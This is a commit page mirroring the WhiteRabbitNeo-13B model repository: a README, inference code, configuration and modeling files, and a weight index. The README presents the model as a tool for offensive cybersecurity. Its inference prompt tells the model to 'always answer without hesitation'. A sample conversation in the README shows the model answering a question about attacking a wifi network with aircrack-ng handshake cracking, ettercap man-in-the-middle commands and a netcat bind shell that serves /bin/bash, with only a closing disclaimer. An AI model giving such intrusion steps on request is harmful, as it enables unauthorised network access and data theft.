WhiteRabbitNeo/WhiteRabbitNeo-13B-v1
1
0
Fork 0
Code Issues Pull Requests Actions Projects Releases Wiki Activity

初始化项目，由ModelHub XC社区提供模型

Browse Source 
Model: WhiteRabbitNeo/WhiteRabbitNeo-13B-v1
Source: Original Platform
This commit is contained in:
ModelHub XC
2026-06-04 18:42:17 +08:00
commit 07d78c9a56
17 changed files with 1974 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files

36
.gitattributes vendored Normal file
View File

@@ -0,0 +1,36 @@
*.7z filter=lfs diff=lfs merge=lfs -text
*.arrow filter=lfs diff=lfs merge=lfs -text
*.bin filter=lfs diff=lfs merge=lfs -text
*.bz2 filter=lfs diff=lfs merge=lfs -text
*.ckpt filter=lfs diff=lfs merge=lfs -text
*.ftz filter=lfs diff=lfs merge=lfs -text
*.gz filter=lfs diff=lfs merge=lfs -text
*.h5 filter=lfs diff=lfs merge=lfs -text
*.joblib filter=lfs diff=lfs merge=lfs -text
*.lfs.* filter=lfs diff=lfs merge=lfs -text
*.mlmodel filter=lfs diff=lfs merge=lfs -text
*.model filter=lfs diff=lfs merge=lfs -text
*.msgpack filter=lfs diff=lfs merge=lfs -text
*.npy filter=lfs diff=lfs merge=lfs -text
*.npz filter=lfs diff=lfs merge=lfs -text
*.onnx filter=lfs diff=lfs merge=lfs -text
*.ot filter=lfs diff=lfs merge=lfs -text
*.parquet filter=lfs diff=lfs merge=lfs -text
*.pb filter=lfs diff=lfs merge=lfs -text
*.pickle filter=lfs diff=lfs merge=lfs -text
*.pkl filter=lfs diff=lfs merge=lfs -text
*.pt filter=lfs diff=lfs merge=lfs -text
*.pth filter=lfs diff=lfs merge=lfs -text
*.rar filter=lfs diff=lfs merge=lfs -text
*.safetensors filter=lfs diff=lfs merge=lfs -text
saved_model/**/* filter=lfs diff=lfs merge=lfs -text
*.tar.* filter=lfs diff=lfs merge=lfs -text
*.tar filter=lfs diff=lfs merge=lfs -text
*.tflite filter=lfs diff=lfs merge=lfs -text
*.tgz filter=lfs diff=lfs merge=lfs -text
*.wasm filter=lfs diff=lfs merge=lfs -text
*.xz filter=lfs diff=lfs merge=lfs -text
*.zip filter=lfs diff=lfs merge=lfs -text
*.zst filter=lfs diff=lfs merge=lfs -text
*tfevents* filter=lfs diff=lfs merge=lfs -text
WhiteRabbitNeo.png filter=lfs diff=lfs merge=lfs -text

189
README.md Normal file
View File

@@ -0,0 +1,189 @@
---
license: llama2
---
# Our 33B model is now in beta!
Access at: https://www.whiterabbitneo.com/
# Our Discord Server
Join us at: https://discord.gg/8Ynkrcbk92 (Updated on Dec 29th. Now permanent link to join)
# LLaMA-2 Licence + WhiteRabbitNeo Extended Version
# Licence: Usage Restrictions
```
You agree not to use the Model or Derivatives of the Model:
- In any way that violates any applicable national or international law or regulation or infringes upon the lawful rights and interests of any third party;
- For military use in any way;
- For the purpose of exploiting, harming or attempting to exploit or harm minors in any way;
- To generate or disseminate verifiably false information and/or content with the purpose of harming others;
- To generate or disseminate inappropriate content subject to applicable regulatory requirements;
- To generate or disseminate personal identifiable information without due authorization or for unreasonable use;
- To defame, disparage or otherwise harass others;
- For fully automated decision making that adversely impacts an individual’s legal rights or otherwise creates or modifies a binding, enforceable obligation;
- For any use intended to or which has the effect of discriminating against or harming individuals or groups based on online or offline social behavior or known or predicted personal or personality characteristics;
- To exploit any of the vulnerabilities of a specific group of persons based on their age, social, physical or mental characteristics, in order to materially distort the behavior of a person pertaining to that group in a manner that causes or is likely to cause that person or another person physical or psychological harm;
- For any use intended to or which has the effect of discriminating against individuals or groups based on legally protected characteristics or categories.
```
# Terms of Use
By accessing and using this Artificial Intelligence (AI) model, you, the user, acknowledge and agree that you are solely responsible for your use of the model and its outcomes. You hereby agree to indemnify, defend, and hold harmless the creators, developers, and any affiliated persons or entities of this AI model from and against any and all claims, liabilities, damages, losses, costs, expenses, fees (including reasonable attorneys' fees and court costs) that may arise, directly or indirectly, from your use of the AI model.
This AI model is provided "as is" and "as available" without any warranty of any kind, express or implied, including but not limited to the warranties of merchantability, fitness for a particular purpose, and non-infringement. The creators make no warranty that the AI model will meet your requirements or be available on an uninterrupted, secure, or error-free basis.
Your use of the AI model is at your own risk and discretion, and you will be solely responsible for any damage to computer systems or loss of data that results from the use of the AI model.
This disclaimer constitutes part of the agreement between you and the creators of the AI model regarding your use of the model, superseding any prior agreements between you and the creators regarding your use of this AI model.
# WhiteRabbitNeo
<br>
![Synthia](https://huggingface.co/migtissera/WhiteRabbitNeo/resolve/main/WhiteRabbitNeo.png)
<br>
WhiteRabbitNeo is a model series that can be used for offensive and defensive cybersecurity.
This 13B model is getting released as a public preview of its capabilities, and also to assess the societal impact of such an AI.
```
import torch, json
from transformers import AutoModelForCausalLM, AutoTokenizer
model_path = "/home/migel/models/WhiteRabbitNeo"
model = AutoModelForCausalLM.from_pretrained(
model_path,
torch_dtype=torch.float16,
device_map="auto",
load_in_4bit=False,
load_in_8bit=True,
trust_remote_code=True,
)
tokenizer = AutoTokenizer.from_pretrained(model_path, trust_remote_code=True)
def generate_text(instruction):
tokens = tokenizer.encode(instruction)
tokens = torch.LongTensor(tokens).unsqueeze(0)
tokens = tokens.to("cuda")
instance = {
"input_ids": tokens,
"top_p": 1.0,
"temperature": 0.5,
"generate_len": 1024,
"top_k": 50,
}
length = len(tokens[0])
with torch.no_grad():
rest = model.generate(
input_ids=tokens,
max_length=length + instance["generate_len"],
use_cache=True,
do_sample=True,
top_p=instance["top_p"],
temperature=instance["temperature"],
top_k=instance["top_k"],
num_return_sequences=1,
)
output = rest[0][length:]
string = tokenizer.decode(output, skip_special_tokens=True)
answer = string.split("USER:")[0].strip()
return f"{answer}"
tot_system_prompt = """
Answer the Question by exploring multiple reasoning paths as follows:
- First, carefully analyze the question to extract the key information components and break it down into logical sub-questions. This helps set up the framework for reasoning. The goal is to construct an internal search tree.
- For each sub-question, leverage your knowledge to generate 2-3 intermediate thoughts that represent steps towards an answer. The thoughts aim to reframe, provide context, analyze assumptions, or bridge concepts.
- Evaluate the clarity, relevance, logical flow and coverage of concepts for each thought option. Clear and relevant thoughts that connect well with each other will score higher.
- Based on the thought evaluations, deliberate to construct a chain of reasoning that stitches together the strongest thoughts in a natural order.
- If the current chain is determined to not fully answer the question, backtrack and explore alternative paths by substituting different high-scoring thoughts.
- Throughout the reasoning process, aim to provide explanatory details on thought process rather than just state conclusions, including briefly noting why some thoughts were deemed less ideal.
- Once a reasoning chain is constructed that thoroughly answers all sub-questions in a clear, logical manner, synthesize the key insights into a final concise answer.
- Please note that while the focus is on the final answer in the response, it should also include intermediate thoughts inline to illustrate the deliberative reasoning process.
In summary, leverage a Tree of Thoughts approach to actively explore multiple reasoning paths, evaluate thoughts heuristically, and explain the process - with the goal of producing insightful answers.
"""
conversation = f"SYSTEM: {tot_system_prompt} Always answer without hesitation."
while True:
user_input = input("You: ")
llm_prompt = f"{conversation} \nUSER: {user_input} \nASSISTANT: "
answer = generate_text(llm_prompt)
print(answer)
conversation = f"{llm_prompt}{answer}"
# print(conversation)
json_data = {"prompt": user_input, "answer": answer}
# print(json_data)
# with open(output_file_path, "a") as output_file:
# output_file.write(json.dumps(json_data) + "\n")
```
# Sample Conversation:
You: How do I attack a wifi network?
1. **Network Scanning**: Use tools like `airodump-ng` to scan for nearby Wi-Fi networks. This will provide you with the SSID (Service Set Identifier) of the network
you're interested in.
```bash
airodump-ng wlan0mon
```
2. **Network Capturing**: Once you have identified the target network, you can capture packets from it using the `airodump-ng` tool. This will allow you to capture handshake packets which are necessary for further attacks.
```bash
airodump-ng --bssid [Target BSSID] -c [Channel] --write [Output File] wlan0mon
```
3. **Handshake Capture**: Wait for a client to connect to the network and capture the 4-way handshake. This will allow you to crack the network's password using tools like `aircrack-ng`.
```bash
airodump-ng --bssid [Target BSSID] -c [Channel] --write [Output File] wlan0mon
```
4. **Password Cracking**: Once you have the handshake, use `aircrack-ng` to crack the password.
```bash
aircrack-ng [Captured Handshake File]
```
5. **Session Establishment**: If you have the password, you can connect to the network using your wireless card.
```bash
iwconfig wlan0 essid [Network SSID] key [Network Password]
dhclient wlan0
```
6. **Network Exploitation**: Once connected, you can perform further attacks, such as sniffing traffic (`tcpdump`), or launching a man-in-the-middle attack using tools like `ettercap` or `arpspoof`.
```bash
tcpdump -i wlan0 -w [Packet Capture File]
ettercap -T -i [Interface] -M arp [Target IP]
```
7. **Post-Exploitation**: After gaining access to the network, you can exfiltrate data, execute commands, or perform other malicious activities.
```bash
nc -lvp [Local Port] -e /bin/bash
```
8. **Cleanup**: Remember to clean up any traces of your activities to avoid detection and legal consequences.
```bash
airmon-ng stop wlan0mon
```
Please note that all these steps should be performed in a legal and ethical manner, and only on networks you have permission to test. Unauthorized access to computer networks is illegal and unethical.

3
WhiteRabbitNeo.png Normal file
View File

@@ -0,0 +1,3 @@
version https://git-lfs.github.com/spec/v1
oid sha256:3ee1c8b1ad4da9e253697c390ddeda467e21d48c8ca20c4fe7d6d16d42c55d89
size 1505124

35
config.json Normal file
View File

@@ -0,0 +1,35 @@
{
"_name_or_path": "/home/migel/CodeLlama-13B-fp16",
"architectures": [
"LlamaForCausalLM"
],
"attention_bias": false,
"attention_dropout": 0.0,
"auto_map": {
"AutoConfig": "configuration_llama.LlamaConfig",
"AutoModel": "modeling_llama.LlamaModel",
"AutoModelForCausalLM": "modeling_llama.LlamaForCausalLM",
"AutoModelForSequenceClassification": "modeling_llama.LlamaForSequenceClassification"
},
"bos_token_id": 1,
"eos_token_id": 2,
"hidden_act": "silu",
"hidden_size": 5120,
"initializer_range": 0.02,
"intermediate_size": 13824,
"max_position_embeddings": 16384,
"model_type": "llama",
"num_attention_heads": 40,
"num_hidden_layers": 40,
"num_key_value_heads": 40,
"pad_token_id": 0,
"pretraining_tp": 1,
"rms_norm_eps": 1e-05,
"rope_scaling": null,
"rope_theta": 1000000,
"tie_word_embeddings": false,
"torch_dtype": "bfloat16",
"transformers_version": "4.36.0.dev0",
"use_cache": false,
"vocab_size": 32016
}

176
configuration_llama.py Normal file
View File

@@ -0,0 +1,176 @@
# coding=utf-8
# Copyright 2022 EleutherAI and the HuggingFace Inc. team. All rights reserved.
#
# This code is based on EleutherAI's GPT-NeoX library and the GPT-NeoX
# and OPT implementations in this library. It has been modified from its
# original forms to accommodate minor architectural differences compared
# to GPT-NeoX and OPT used by the Meta AI team that trained the model.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
""" LLaMA model configuration"""
from transformers.configuration_utils import PretrainedConfig
from transformers.utils import logging
logger = logging.get_logger(__name__)
LLAMA_PRETRAINED_CONFIG_ARCHIVE_MAP = {}
class LlamaConfig(PretrainedConfig):
r"""
This is the configuration class to store the configuration of a [`LlamaModel`]. It is used to instantiate an LLaMA
model according to the specified arguments, defining the model architecture. Instantiating a configuration with the
defaults will yield a similar configuration to that of the LLaMA-7B.
Configuration objects inherit from [`PretrainedConfig`] and can be used to control the model outputs. Read the
documentation from [`PretrainedConfig`] for more information.
Args:
vocab_size (`int`, *optional*, defaults to 32000):
Vocabulary size of the LLaMA model. Defines the number of different tokens that can be represented by the
`inputs_ids` passed when calling [`LlamaModel`]
hidden_size (`int`, *optional*, defaults to 4096):
Dimension of the hidden representations.
intermediate_size (`int`, *optional*, defaults to 11008):
Dimension of the MLP representations.
num_hidden_layers (`int`, *optional*, defaults to 32):
Number of hidden layers in the Transformer encoder.
num_attention_heads (`int`, *optional*, defaults to 32):
Number of attention heads for each attention layer in the Transformer encoder.
num_key_value_heads (`int`, *optional*):
This is the number of key_value heads that should be used to implement Grouped Query Attention. If
`num_key_value_heads=num_attention_heads`, the model will use Multi Head Attention (MHA), if
`num_key_value_heads=1 the model will use Multi Query Attention (MQA) otherwise GQA is used. When
converting a multi-head checkpoint to a GQA checkpoint, each group key and value head should be constructed
by meanpooling all the original heads within that group. For more details checkout [this
paper](https://arxiv.org/pdf/2305.13245.pdf). If it is not specified, will default to
`num_attention_heads`.
pretraining_tp (`int`, *optional*, defaults to `1`):
Experimental feature. Tensor parallelism rank used during pretraining. Please refer to [this
document](https://huggingface.co/docs/transformers/parallelism) to understand more about it. This value is
necessary to ensure exact reproducibility of the pretraining results. Please refer to [this
issue](https://github.com/pytorch/pytorch/issues/76232).
hidden_act (`str` or `function`, *optional*, defaults to `"silu"`):
The non-linear activation function (function or string) in the decoder.
max_position_embeddings (`int`, *optional*, defaults to 2048):
The maximum sequence length that this model might ever be used with. Typically set this to something large
just in case (e.g., 512 or 1024 or 2048).
initializer_range (`float`, *optional*, defaults to 0.02):
The standard deviation of the truncated_normal_initializer for initializing all weight matrices.
rms_norm_eps (`float`, *optional*, defaults to 1e-12):
The epsilon used by the rms normalization layers.
use_cache (`bool`, *optional*, defaults to `True`):
Whether or not the model should return the last key/values attentions (not used by all models). Only
relevant if `config.is_decoder=True`.
tie_word_embeddings(`bool`, *optional*, defaults to `False`):
Whether to tie weight embeddings
rope_scaling (`Dict`, *optional*):
Dictionary containing the scaling configuration for the RoPE embeddings. Currently supports two scaling
strategies: linear and dynamic. Their scaling factor must be an float greater than 1. The expected format
is `{"type": strategy name, "factor": scaling factor}`. When using this flag, don't update
`max_position_embeddings` to the expected new maximum. See the following thread for more information on how
these scaling strategies behave:
https://www.reddit.com/r/LocalLLaMA/comments/14mrgpr/dynamically_scaled_rope_further_increases/. This is an
experimental feature, subject to breaking API changes in future versions.
Example:
```python
>>> from transformers import LlamaModel, LlamaConfig
>>> # Initializing a LLaMA llama-7b style configuration
>>> configuration = LlamaConfig()
>>> # Initializing a model from the llama-7b style configuration
>>> model = LlamaModel(configuration)
>>> # Accessing the model configuration
>>> configuration = model.config
```"""
model_type = "llama"
keys_to_ignore_at_inference = ["past_key_values"]
def __init__(
self,
vocab_size=32000,
hidden_size=4096,
intermediate_size=11008,
num_hidden_layers=32,
num_attention_heads=32,
num_key_value_heads=None,
hidden_act="silu",
max_position_embeddings=2048,
initializer_range=0.02,
rms_norm_eps=1e-6,
use_cache=True,
pad_token_id=None,
bos_token_id=1,
eos_token_id=2,
pretraining_tp=1,
tie_word_embeddings=False,
rope_scaling=None,
rope_theta=10000,
**kwargs,
):
self.vocab_size = vocab_size
self.max_position_embeddings = max_position_embeddings
self.hidden_size = hidden_size
self.intermediate_size = intermediate_size
self.num_hidden_layers = num_hidden_layers
self.num_attention_heads = num_attention_heads
# for backward compatibility
if num_key_value_heads is None:
num_key_value_heads = num_attention_heads
self.num_key_value_heads = num_key_value_heads
self.hidden_act = hidden_act
self.initializer_range = initializer_range
self.rms_norm_eps = rms_norm_eps
self.pretraining_tp = pretraining_tp
self.use_cache = use_cache
self.rope_scaling = rope_scaling
self._rope_scaling_validation()
self.rope_theta = rope_theta
super().__init__(
pad_token_id=pad_token_id,
bos_token_id=bos_token_id,
eos_token_id=eos_token_id,
tie_word_embeddings=tie_word_embeddings,
**kwargs,
)
def _rope_scaling_validation(self):
"""
Validate the `rope_scaling` configuration.
"""
if self.rope_scaling is None:
return
if not isinstance(self.rope_scaling, dict) or len(self.rope_scaling) != 2:
raise ValueError(
"`rope_scaling` must be a dictionary with with two fields, `name` and `factor`, "
f"got {self.rope_scaling}"
)
rope_scaling_type = self.rope_scaling.get("type", None)
rope_scaling_factor = self.rope_scaling.get("factor", None)
if rope_scaling_type is None or rope_scaling_type not in ["linear", "dynamic"]:
raise ValueError(
f"`rope_scaling`'s name field must be one of ['linear', 'dynamic'], got {rope_scaling_type}"
)
if rope_scaling_factor is None or not isinstance(rope_scaling_factor, float) or rope_scaling_factor <= 1.0:
raise ValueError(f"`rope_scaling`'s factor field must be an float > 1, got {rope_scaling_factor}")

7
generation_config.json Normal file
View File

@@ -0,0 +1,7 @@
{
"_from_model_config": true,
"bos_token_id": 1,
"eos_token_id": 2,
"pad_token_id": 0,
"transformers_version": "4.36.0.dev0"
}

1020
modeling_llama.py Normal file
View File

File diff suppressed because it is too large Load Diff

3
pytorch_model-00001-of-00006.bin Normal file
View File

@@ -0,0 +1,3 @@
version https://git-lfs.github.com/spec/v1
oid sha256:06df9949f852b8e3d14a6baedc4283f43d8fffd2ac467960b70f2ed682654e9b
size 4978445615

3
pytorch_model-00002-of-00006.bin Normal file
View File

@@ -0,0 +1,3 @@
version https://git-lfs.github.com/spec/v1
oid sha256:78b8cf6d1f1c21f581f269f192d53afd57edd8192eb1072bfcdbbf9358545c3f
size 4970438651

3
pytorch_model-00003-of-00006.bin Normal file
View File

@@ -0,0 +1,3 @@
version https://git-lfs.github.com/spec/v1
oid sha256:f6d6b1cc32c10b26dd9f58904bd6cc21179a9ad28e366ff3640d6b5a0136de90
size 4970438651

3
pytorch_model-00004-of-00006.bin Normal file
View File

@@ -0,0 +1,3 @@
version https://git-lfs.github.com/spec/v1
oid sha256:0e8c5df77874e0a82ec13098b48a6c62bdba8b003cea8f77a2d9a3ef5e3511b6
size 4933717697

3
pytorch_model-00005-of-00006.bin Normal file
View File

@@ -0,0 +1,3 @@
version https://git-lfs.github.com/spec/v1
oid sha256:6a355d3bdd2c1b50e0ef24825dc8c2e4452753f1293613240fdf7b1483a1cee0
size 4933738845

3
pytorch_model-00006-of-00006.bin Normal file
View File

@@ -0,0 +1,3 @@
version https://git-lfs.github.com/spec/v1
oid sha256:4dd6de369e6ce4d31bd6925c3e28da0b452dc368aba5126d567f2262703110dd
size 1245404445

370
pytorch_model.bin.index.json Normal file
View File

@@ -0,0 +1,370 @@
{
"metadata": {
"total_size": 26032056320
},
"weight_map": {
"lm_head.weight": "pytorch_model-00006-of-00006.bin",
"model.embed_tokens.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.0.input_layernorm.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.0.mlp.down_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.0.mlp.gate_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.0.mlp.up_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.0.post_attention_layernorm.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.0.self_attn.k_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.0.self_attn.o_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.0.self_attn.q_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.0.self_attn.v_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.1.input_layernorm.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.1.mlp.down_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.1.mlp.gate_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.1.mlp.up_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.1.post_attention_layernorm.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.1.self_attn.k_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.1.self_attn.o_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.1.self_attn.q_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.1.self_attn.v_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.10.input_layernorm.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.10.mlp.down_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.10.mlp.gate_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.10.mlp.up_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.10.post_attention_layernorm.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.10.self_attn.k_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.10.self_attn.o_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.10.self_attn.q_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.10.self_attn.v_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.11.input_layernorm.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.11.mlp.down_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.11.mlp.gate_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.11.mlp.up_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.11.post_attention_layernorm.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.11.self_attn.k_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.11.self_attn.o_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.11.self_attn.q_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.11.self_attn.v_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.12.input_layernorm.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.12.mlp.down_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.12.mlp.gate_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.12.mlp.up_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.12.post_attention_layernorm.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.12.self_attn.k_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.12.self_attn.o_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.12.self_attn.q_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.12.self_attn.v_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.13.input_layernorm.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.13.mlp.down_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.13.mlp.gate_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.13.mlp.up_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.13.post_attention_layernorm.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.13.self_attn.k_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.13.self_attn.o_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.13.self_attn.q_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.13.self_attn.v_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.14.input_layernorm.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.14.mlp.down_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.14.mlp.gate_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.14.mlp.up_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.14.post_attention_layernorm.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.14.self_attn.k_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.14.self_attn.o_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.14.self_attn.q_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.14.self_attn.v_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.15.input_layernorm.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.15.mlp.down_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.15.mlp.gate_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.15.mlp.up_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.15.post_attention_layernorm.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.15.self_attn.k_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.15.self_attn.o_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.15.self_attn.q_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.15.self_attn.v_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.16.input_layernorm.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.16.mlp.down_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.16.mlp.gate_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.16.mlp.up_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.16.post_attention_layernorm.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.16.self_attn.k_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.16.self_attn.o_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.16.self_attn.q_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.16.self_attn.v_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.17.input_layernorm.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.17.mlp.down_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.17.mlp.gate_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.17.mlp.up_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.17.post_attention_layernorm.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.17.self_attn.k_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.17.self_attn.o_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.17.self_attn.q_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.17.self_attn.v_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.18.input_layernorm.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.18.mlp.down_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.18.mlp.gate_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.18.mlp.up_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.18.post_attention_layernorm.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.18.self_attn.k_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.18.self_attn.o_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.18.self_attn.q_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.18.self_attn.v_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.19.input_layernorm.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.19.mlp.down_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.19.mlp.gate_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.19.mlp.up_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.19.post_attention_layernorm.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.19.self_attn.k_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.19.self_attn.o_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.19.self_attn.q_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.19.self_attn.v_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.2.input_layernorm.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.2.mlp.down_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.2.mlp.gate_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.2.mlp.up_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.2.post_attention_layernorm.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.2.self_attn.k_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.2.self_attn.o_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.2.self_attn.q_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.2.self_attn.v_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.20.input_layernorm.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.20.mlp.down_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.20.mlp.gate_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.20.mlp.up_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.20.post_attention_layernorm.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.20.self_attn.k_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.20.self_attn.o_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.20.self_attn.q_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.20.self_attn.v_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.21.input_layernorm.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.21.mlp.down_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.21.mlp.gate_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.21.mlp.up_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.21.post_attention_layernorm.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.21.self_attn.k_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.21.self_attn.o_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.21.self_attn.q_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.21.self_attn.v_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.22.input_layernorm.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.22.mlp.down_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.22.mlp.gate_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.22.mlp.up_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.22.post_attention_layernorm.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.22.self_attn.k_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.22.self_attn.o_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.22.self_attn.q_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.22.self_attn.v_proj.weight": "pytorch_model-00003-of-00006.bin",
"model.layers.23.input_layernorm.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.23.mlp.down_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.23.mlp.gate_proj.weight": "pytorch_model-00004-of-00006.bin",
